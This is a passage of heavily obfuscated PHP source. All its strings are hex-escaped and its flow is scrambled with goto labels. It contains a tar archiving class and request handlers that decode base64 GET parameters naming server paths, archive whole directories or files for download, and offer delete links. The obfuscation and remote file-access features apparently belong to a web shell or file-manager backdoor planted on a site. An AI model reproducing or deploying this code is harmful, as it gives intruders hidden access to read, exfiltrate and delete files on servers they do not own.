errors)) { $this->errors = array(); } } function createArchive($file_list) { $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) { $newArchive = false; } else { $newArchive = true; } if ($newArchive) { if (!$this->openWrite()) { return false; } } else { if (filesize($this->archive_name) == 0) { return $this->openWrite(); } if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name . "\x2e\x74\x6d\160")) { $this->errors[] = __("\103\x61\156\156\x6f\164\x20\162\145\156\141\x6d\145") . "\x20" . $this->archive_name . __("\x20\164\157\x20") . $this->archive_name . "\x2e\x74\155\x70"; return false; } $tmpArchive = gzopen($this->archive_name . "\56\164\155\x70", "\x72\142"); if (!$tmpArchive) { $this->errors[] = $this->archive_name . "\x2e\164\x6d\160\40" . __("\x69\163\x20\x6e\157\x74\x20\162\x65\x61\x64\141\x62\154\x65"); rename($this->archive_name . "\56\x74\155\160", $this->archive_name); return false; } if (!$this->openWrite()) { rename($this->archive_name . "\56\x74\155\x70", $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)) { do { $binaryData = pack("\141\x35\61\x32", $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name . "\x2e\x74\x6d\160"); } else { $this->tmp_file = fopen($this->archive_name, "\162\x2b\x62"); if (!$this->tmp_file) { return false; } } } if (isset($file_list) && is_array($file_list)) { if (count($file_list) > 0) { $result = $this->packFileArray($file_list); } } else { $this->errors[] = __("\116\x6f\x20\x66\151\154\x65") . __("\40\164\157\40") . __("\x41\162\143\150\151\166\x65"); } if ($result && is_resource($this->tmp_file)) { $binaryData = pack("\x61\x35\61\62", ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result) { $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path) { $fileName = $this->archive_name; if (!$this->isGzipped) { if (file_exists($fileName)) { if ($fp = fopen($fileName, "\162\x62")) { $data = fread($fp, 2); fclose($fp); if ($data == "\134\x33\67\x5c\62\61\63") { $this->isGzipped = true; } } } elseif (substr($fileName, -2) == "\x67\x7a" or substr($fileName, -3) == "\x74\x67\x7a") { $this->isGzipped = true; } } $result = true; if ($this->isGzipped) { $this->tmp_file = gzopen($fileName, "\x72\x62"); } else { $this->tmp_file = fopen($fileName, "\162\142"); } if (!$this->tmp_file) { $this->errors[] = $fileName . "\40" . __("\x69\x73\x20\156\157\x74\40\x72\x65\141\144\x61\142\x6c\145"); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors($message = '') { $Errors = $this->errors; if (count($Errors) > 0) { if (!empty($message)) { $message = "\x20\x28" . $message . "\51"; } $message = __("\105\162\x72\157\x72\40\x6f\143\143\x75\162\x72\x65\144") . $message . "\x3a\40\x3c\142\x72\57\76"; foreach ($Errors as $value) { $message .= $value . "\x3c\142\x72\x2f\x3e"; } return $message; } else { return ''; } } function packFileArray($file_array) { $result = true; if (!$this->tmp_file) { $this->errors[] = __("\x49\x6e\x76\x61\154\151\144\x20\x66\151\x6c\145\40\x64\x65\163\143\x72\x69\x70\164\157\x72"); return false; } if (!is_array($file_array) || count($file_array) <= 0) { return true; } for ($i = 0; $i < count($file_array); $i++) { $filename = $file_array[$i]; if ($filename == $this->archive_name) { continue; } if (strlen($filename) <= 0) { continue; } if (!file_exists($filename)) { $this->errors[] = __("\116\157\x20\146\151\x6c\x65") . "\x20" . $filename; continue; } if (!$this->tmp_file) { $this->errors[] = __("\111\156\x76\141\x6c\151\x64\x20\146\151\154\145\x20\144\145\163\x63\162\151\160\x74\157\x72"); return false; } if (strlen($filename) <= 0) { $this->errors[] = __("\x46\x69\154\145\156\141\155\x65") . "\x20" . __("\x69\x73\x20\x69\x6e\143\x6f\x72\162\145\x63\164"); return false; } $filename = str_replace("\x5c", "\57", $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)) { if (($file = fopen($filename, "\162\x62")) == 0) { $this->errors[] = __("\115\x6f\x64\145\40") . __("\x69\163\40\x69\x6e\143\157\162\x72\x65\143\164"); } if ($this->file_pos == 0) { if (!$this->writeHeader($filename, $keep_filename)) { return false; } } while (($buffer = fread($file, 512)) != '') { $binaryData = pack("\141\65\x31\62", $buffer); $this->writeBlock($binaryData); } fclose($file); } else { $this->writeHeader($filename, $keep_filename); } if (@is_dir($filename)) { if (!($handle = opendir($filename))) { $this->errors[] = __("\x45\x72\x72\157\x72") . "\x3a\x20" . __("\104\151\x72\145\143\x74\157\x72\171\x20") . $filename . __("\x69\163\40\156\x6f\x74\x20\162\145\x61\144\141\142\x6c\145"); continue; } while (false !== ($dir = readdir($handle))) { if ($dir != "\56" && $dir != "\x2e\56") { $file_array_tmp = array(); if ($filename != "\56") { $file_array_tmp[] = $filename . "\x2f" . $dir; } else { $file_array_tmp[] = $dir; } $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path) { $path = str_replace("\134", "\57", $path); if ($path == '' || substr($path, 0, 1) != "\x2f" && substr($path, 0, 3) != "\x2e\x2e\x2f" && !strpos($path, "\72")) { $path = "\56\x2f" . $path; } clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0) { if (!$this->readHeader($binaryData, $header)) { return false; } if ($header["\146\151\154\x65\x6e\x61\x6d\x65"] == '') { continue; } if ($header["\164\171\x70\145\x66\x6c\141\147"] == "\114") { $filename = ''; $decr = floor($header["\163\x69\172\145"] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header["\x73\151\x7a\x65"] % 512) != 0) { $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) { return false; } else { $header["\146\x69\x6c\145\x6e\141\155\145"] = $filename; } return true; } if ($path != "\56\57" && $path != "\57") { while (substr($path, -1) == "\x2f") { $path = substr($path, 0, strlen($path) - 1); } if (substr($header["\x66\151\154\x65\x6e\141\x6d\x65"], 0, 1) == "\57") { $header["\146\151\154\x65\156\141\x6d\145"] = $path . $header["\146\151\154\x65\x6e\x61\155\x65"]; } else { $header["\146\x69\154\145\x6e\x61\x6d\145"] = $path . "\x2f" . $header["\146\151\154\145\x6e\141\x6d\x65"]; } } if (file_exists($header["\146\151\154\145\x6e\x61\x6d\x65"])) { if (@is_dir($header["\x66\151\x6c\145\156\x61\155\x65"]) && $header["\x74\171\x70\145\x66\x6c\141\147"] == '') { $this->errors[] = __("\106\151\154\x65\x20") . $header["\x66\x69\x6c\145\156\141\x6d\145"] . __("\40\141\154\162\145\141\144\x79\x20\x65\x78\151\x73\164\x73") . __("\40\x61\x73\x20\x66\157\154\144\145\162"); return false; } if (is_file($header["\146\x69\x6c\145\x6e\x61\155\145"]) && $header["\164\171\160\x65\x66\154\x61\x67"] == "\65") { $this->errors[] = __("\103\141\156\156\x6f\x74\40\x63\x72\145\x61\164\145\40\144\151\x72\x65\x63\x74\157\162\x79") . "\x2e\x20" . __("\106\151\x6c\145\x20") . $header["\146\x69\154\145\156\x61\155\x65"] . __("\40\x61\x6c\x72\x65\141\x64\x79\40\145\x78\151\x73\x74\163"); return false; } if (!is_writeable($header["\146\x69\x6c\145\156\x61\155\x65"])) { $this->errors[] = __("\103\141\x6e\x6e\x6f\x74\x20\167\162\x69\x74\x65\40\164\x6f\x20\146\151\x6c\145") . "\56\x20" . __("\106\x69\x6c\145\40") . $header["\146\151\154\x65\156\141\155\x65"] . __("\x20\141\154\x72\x65\x61\144\x79\x20\x65\x78\x69\x73\164\x73"); return false; } } elseif ($this->dirCheck($header["\164\171\160\x65\x66\x6c\141\x67"] == "\65" ? $header["\146\x69\154\x65\x6e\x61\155\145"] : dirname($header["\146\151\x6c\x65\156\x61\x6d\145"])) != 1) { $this->errors[] = __("\x43\141\x6e\x6e\x6f\x74\x20\143\162\145\141\164\x65\x20\144\x69\x72\x65\x63\x74\x6f\162\171") . "\x20" . __("\x20\x66\157\x72\x20") . $header["\146\151\154\x65\156\x61\x6d\x65"]; return false; } if ($header["\164\171\x70\145\x66\154\141\x67"] == "\65") { if (!file_exists($header["\x66\x69\154\x65\x6e\x61\x6d\145"])) { if (!mkdir($header["\146\151\154\145\156\141\155\145"], 511)) { $this->errors[] = __("\x43\x61\156\156\157\164\x20\143\x72\145\x61\x74\145\40\144\x69\x72\x65\x63\x74\157\162\171") . "\x20" . $header["\146\x69\x6c\x65\156\x61\x6d\x65"]; return false; } } } else { if (($destination = fopen($header["\146\151\154\x65\156\x61\155\145"], "\167\142")) == 0) { $this->errors[] = __("\x43\x61\156\156\x6f\164\40\167\162\151\x74\x65\40\164\157\40\x66\151\x6c\x65") . "\40" . $header["\x66\151\154\x65\156\141\155\x65"]; return false; } else { $decr = floor($header["\x73\x69\172\145"] / 512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if ($header["\163\151\172\x65"] % 512 != 0) { $content = $this->readBlock(); fwrite($destination, $content, $header["\x73\x69\x7a\x65"] % 512); } fclose($destination); touch($header["\x66\x69\154\x65\x6e\x61\x6d\x65"], $header["\164\151\155\145"]); } clearstatcache(); if (filesize($header["\x66\x69\154\145\156\141\155\145"]) != $header["\x73\x69\x7a\x65"]) { $this->errors[] = __("\123\x69\172\145\x20\157\x66\x20\146\151\x6c\x65") . "\40" . $header["\x66\x69\x6c\x65\x6e\141\x6d\x65"] . "\40" . __("\x69\163\40\151\x6e\x63\x6f\162\162\x65\143\x74"); return false; } } if (($file_dir = dirname($header["\x66\151\154\x65\x6e\x61\155\145"])) == $header["\x66\151\154\145\156\x61\x6d\x65"]) { $file_dir = ''; } if (substr($header["\x66\x69\x6c\145\x6e\x61\155\145"], 0, 1) == "\57" && $file_dir == '') { $file_dir = "\x2f"; } $this->dirs[] = $file_dir; $this->files[] = $header["\146\x69\x6c\145\156\x61\155\145"]; } return true; } function dirCheck($dir) { $parent_dir = dirname($dir); if (@is_dir($dir) or $dir == '') { return true; } if ($parent_dir != $dir and $parent_dir != '' and !$this->dirCheck($parent_dir)) { return false; } if (!mkdir($dir, 511)) { $this->errors[] = __("\x43\x61\x6e\156\157\x74\40\143\162\x65\141\164\x65\40\144\151\162\x65\x63\164\157\162\171") . "\x20" . $dir; return false; } return true; } function readHeader($binaryData, &$header) { if (strlen($binaryData) == 0) { $header["\146\x69\154\145\x6e\141\155\x65"] = ''; return true; } if (strlen($binaryData) != 512) { $header["\x66\x69\154\145\156\141\155\145"] = ''; $this->__("\111\x6e\x76\141\x6c\x69\144\x20\x62\x6c\x6f\143\153\x20\163\151\172\x65") . "\x3a\x20" . strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord("\40"); } for ($i = 156; $i < 512; $i++) { $checksum += ord(substr($binaryData, $i, 1)); } $unpack_data = unpack("\141\x31\60\x30\146\x69\x6c\x65\x6e\x61\155\145\57\141\70\x6d\157\144\x65\x2f\141\x38\165\x73\x65\x72\x5f\x69\x64\57\141\x38\147\162\157\x75\160\137\x69\144\x2f\x61\61\x32\163\x69\172\x65\57\141\61\x32\164\x69\155\145\x2f\x61\70\143\x68\145\x63\153\163\x75\x6d\57\141\x31\164\171\160\x65\x66\154\141\x67\x2f\141\61\60\x30\154\151\x6e\153\x2f\141\66\155\141\x67\x69\143\57\x61\x32\166\x65\x72\163\x69\157\156\57\x61\63\x32\165\x6e\x61\x6d\145\x2f\141\63\62\x67\156\141\x6d\x65\x2f\141\70\144\x65\166\155\x61\x6a\x6f\162\x2f\x61\x38\144\x65\x76\x6d\151\156\x6f\x72", $binaryData); $header["\x63\x68\145\143\x6b\163\x75\155"] = OctDec(trim($unpack_data["\x63\x68\x65\143\153\163\165\155"])); if ($header["\143\150\x65\x63\x6b\163\165\x6d"] != $checksum) { $header["\146\151\154\145\x6e\x61\155\145"] = ''; if ($checksum == 256 && $header["\143\150\x65\x63\x6b\x73\165\155"] == 0) { return true; } $this->errors[] = __("\x45\x72\162\x6f\x72\40\143\x68\x65\143\153\x73\165\155\x20\x66\x6f\162\x20\x66\x69\x6c\x65\40") . $unpack_data["\x66\x69\154\x65\156\x61\155\145"]; return false; } if (($header["\x74\171\160\145\146\154\141\x67"] = $unpack_data["\x74\171\160\145\146\x6c\141\x67"]) == "\x35") { $header["\163\x69\172\x65"] = 0; } $header["\x66\x69\154\145\x6e\141\155\145"] = trim($unpack_data["\146\x69\x6c\x65\156\x61\x6d\x65"]); $header["\x6d\x6f\x64\x65"] = OctDec(trim($unpack_data["\x6d\x6f\144\145"])); $header["\x75\x73\x65\x72\x5f\151\144"] = OctDec(trim($unpack_data["\165\x73\x65\x72\137\x69\x64"])); $header["\147\162\x6f\165\x70\x5f\x69\x64"] = OctDec(trim($unpack_data["\x67\x72\x6f\165\160\137\151\x64"])); $header["\x73\x69\172\x65"] = OctDec(trim($unpack_data["\x73\151\172\x65"])); $header["\164\x69\x6d\x65"] = OctDec(trim($unpack_data["\x74\151\x6d\x65"])); return true; } function writeHeader($filename, $keep_filename) { $packF = "\141\x31\x30\x30\141\x38\x61\70\141\70\x61\x31\62\101\x31\x32"; $packL = "\x61\61\141\61\x30\x30\x61\66\141\62\x61\63\62\141\x33\x32\x61\70\x61\70\141\61\65\65\x61\61\x32"; if (strlen($keep_filename) <= 0) { $keep_filename = $filename; } $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99) { $dataFirst = pack($packF, "\x2e\x2f\x2e\x2f\x4c\x6f\156\147\x4c\151\x6e\x6b", 0, 0, 0, sprintf("\45\61\61\x73\x20", DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, "\x4c", '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord("\x20"); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf("\x25\66\x73\40", DecOct($checksum)); $binaryData = pack("\141\70", $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, $i++ * 512, 512)) != '') { $binaryData = pack("\141\65\61\62", $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)) { $typeflag = "\65"; $size = sprintf("\x25\61\x31\x73\x20", DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf("\45\x31\x31\163\40", DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf("\x25\66\163\40", DecOct(fileperms($filename))), sprintf("\45\66\x73\40", DecOct($file_info[4])), sprintf("\x25\x36\163\40", DecOct($file_info[5])), $size, sprintf("\45\61\61\x73", DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) { $checksum += ord(substr($dataFirst, $i, 1)); } for ($i = 148; $i < 156; $i++) { $checksum += ord("\x20"); } for ($i = 156, $j = 0; $i < 512; $i++, $j++) { $checksum += ord(substr($dataLast, $j, 1)); } $this->writeBlock($dataFirst, 148); $checksum = sprintf("\45\66\163\x20", DecOct($checksum)); $binaryData = pack("\141\70", $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite() { if ($this->isGzipped) { $this->tmp_file = gzopen($this->archive_name, "\x77\x62\x39\146"); } else { $this->tmp_file = fopen($this->archive_name, "\167\x62"); } if (!$this->tmp_file) { $this->errors[] = __("\x43\141\x6e\156\157\x74\x20\167\162\151\164\145\40\164\x6f\x20\146\x69\x6c\x65") . "\40" . $this->archive_name; return false; } return true; } function readBlock() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { $block = gzread($this->tmp_file, 512); } else { $block = fread($this->tmp_file, 512); } } else { $block = ''; } return $block; } function writeBlock($data, $length = 0) { if (is_resource($this->tmp_file)) { if ($length === 0) { if ($this->isGzipped) { gzputs($this->tmp_file, $data); } else { fputs($this->tmp_file, $data); } } else { if ($this->isGzipped) { gzputs($this->tmp_file, $data, $length); } else { fputs($this->tmp_file, $data, $length); } } } } function closeTmpFile() { if (is_resource($this->tmp_file)) { if ($this->isGzipped) { gzclose($this->tmp_file); } else { fclose($this->tmp_file); } $this->tmp_file = 0; } } function makeGoodPath($path) { if (strlen($path) > 0) { $path = str_replace("\x5c", "\57", $path); $partPath = explode("\x2f", $path); $els = count($partPath) - 1; for ($i = $els; $i >= 0; $i--) { if ($partPath[$i] == "\x2e") { } elseif ($partPath[$i] == "\56\56") { $i--; } elseif ($partPath[$i] == '' and $i != $els and $i != 0) { } else { $result = $partPath[$i] . ($i != $els ? "\x2f" . $result : ''); } } } else { $result = ''; } return $result; } } goto ETH36; xEGVV: $lang = json_decode($translation, true); goto vmlJ4; KtVXe: $default_language = "\x72\x75"; goto ADdHn; nUf_h: $main_path = str_replace("\x5c", "\x2f", realpath("\x2e\57")); goto MWFSZ; kZbD_: $msg = ''; goto KtVXe; HBZpO: ?>
buildFromDirectory($source); if (is_file($destination)) { $msg .= __("\124\141\x73\x6b") . "\40\x22" . __("\x41\162\x63\x68\x69\x76\151\156\147") . "\x20" . $destination . "\x22\40" . __("\144\157\156\145") . "\56\46\x6e\142\163\x70\x3b" . fm_link("\x64\157\x77\x6e\x6c\x6f\141\x64", $path . $destination, __("\104\157\x77\x6e\x6c\157\x61\144"), __("\x44\x6f\x77\x6e\154\x6f\141\144") . "\40" . $destination) . "\x26\x6e\x62\x73\x70\x3b\x3c\141\40\150\x72\145\146\75\42" . $url_inc . "\x26\x64\x65\154\x65\x74\145\75" . $destination . "\46\x70\x61\x74\x68\75" . $path . "\x22\40\x74\151\164\x6c\x65\75\42" . __("\x44\x65\x6c\x65\x74\x65") . "\x20" . $destination . "\42\40\x3e" . __("\x44\x65\x6c\145\x74\x65") . "\74\x2f\x61\x3e"; } else { $msg .= __("\105\x72\x72\x6f\x72\x20\x6f\x63\143\x75\162\x72\145\144") . "\x3a\x20" . __("\156\157\x20\146\151\x6c\x65\x73"); } } elseif (isset($_GET["\x67\172"])) { $source = base64_decode($_GET["\x67\x7a"]); $archive = $source . "\56\x74\141\162"; $destination = basename($source) . "\x2e\164\141\162"; if (is_file($archive)) { unlink($archive); } if (is_file($archive . "\56\147\x7a")) { unlink($archive . "\x2e\147\x7a"); } clearstatcache(); set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, "\x2e\x74\141\x72\x2e\x67\172"); unset($phar); if (is_file($archive)) { if (is_file($archive . "\x2e\x67\172")) { unlink($archive); $destination .= "\x2e\x67\172"; } $msg .= __("\x54\141\x73\x6b") . "\40\x22" . __("\101\162\x63\x68\x69\166\151\156\147") . "\x20" . $destination . "\42\x20" . __("\144\157\x6e\145") . "\x2e\x26\x6e\x62\x73\x70\73" . fm_link("\144\x6f\x77\156\154\157\141\x64", $path . $destination, __("\104\x6f\167\x6e\x6c\x6f\x61\x64"), __("\104\157\167\x6e\154\157\141\x64") . "\40" . $destination) . "\46\156\142\163\160\73\74\x61\40\x68\162\145\146\x3d\x22" . $url_inc . "\46\144\145\x6c\x65\164\x65\75" . $destination . "\46\x70\141\164\150\75" . $path . "\x22\x20\x74\x69\164\x6c\145\75\x22" . __("\x44\x65\x6c\145\164\x65") . "\x20" . $destination . "\x22\x20\76" . __("\104\x65\x6c\x65\164\x65") . "\x3c\57\141\x3e"; } else { $msg .= __("\105\162\162\157\x72\40\157\x63\143\165\162\x72\145\144") . "\x3a\40" . __("\156\157\x20\x66\x69\x6c\145\x73"); } } elseif (isset($_GET["\x64\x65\x63\157\155\x70\162\x65\x73\x73"])) { } elseif (isset($_GET["\x67\x7a\146\151\x6c\145"])) { $source = base64_decode($_GET["\x67\172\146\x69\154\x65"]); $archive = $source . "\56\x74\x61\162"; $destination = basename($source) . "\x2e\x74\x61\x72"; if (is_file($archive)) { unlink($archive); } if (is_file($archive . "\56\147\x7a")) { unlink($archive . "\x2e\x67\x7a"); } set_time_limit(0); $ext_arr = explode("\x2e", basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode("\56", $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . "\56\164\141\x72\56\x67\172"); unset($phar); if (is_file($archive)) { if (is_file($archive . "\56\x67\172")) { unlink($archive); $destination .= "\x2e\147\172"; } $msg .= __("\x54\141\163\153") . "\x20\x22" . __("\101\162\143\x68\151\166\151\x6e\x67") . "\x20" . $destination . "\42\x20" . __("\144\x6f\x6e\145") . "\56\46\156\x62\x73\x70\73" . fm_link("\144\x6f\167\x6e\154\157\141\144", $path . $destination, __("\x44\157\167\x6e\154\157\x61\x64"), __("\104\x6f\167\156\154\x6f\x61\144") . "\x20" . $destination) . "\46\156\x62\163\x70\73\74\x61\x20\150\162\x65\146\75\x22" . $url_inc . "\46\x64\145\154\x65\164\x65\75" . $destination . "\x26\x70\x61\164\x68\75" . $path . "\x22\40\x74\151\x74\154\145\75\x22" . __("\x44\x65\154\x65\x74\x65") . "\40" . $destination . "\x22\40\76" . __("\104\145\x6c\x65\164\145") . "\x3c\x2f\x61\x3e"; } else { $msg .= __("\x45\162\162\157\162\x20\157\143\143\165\x72\162\145\x64") . "\x3a\40" . __("\x6e\x6f\40\146\x69\x6c\x65\163"); } } ?>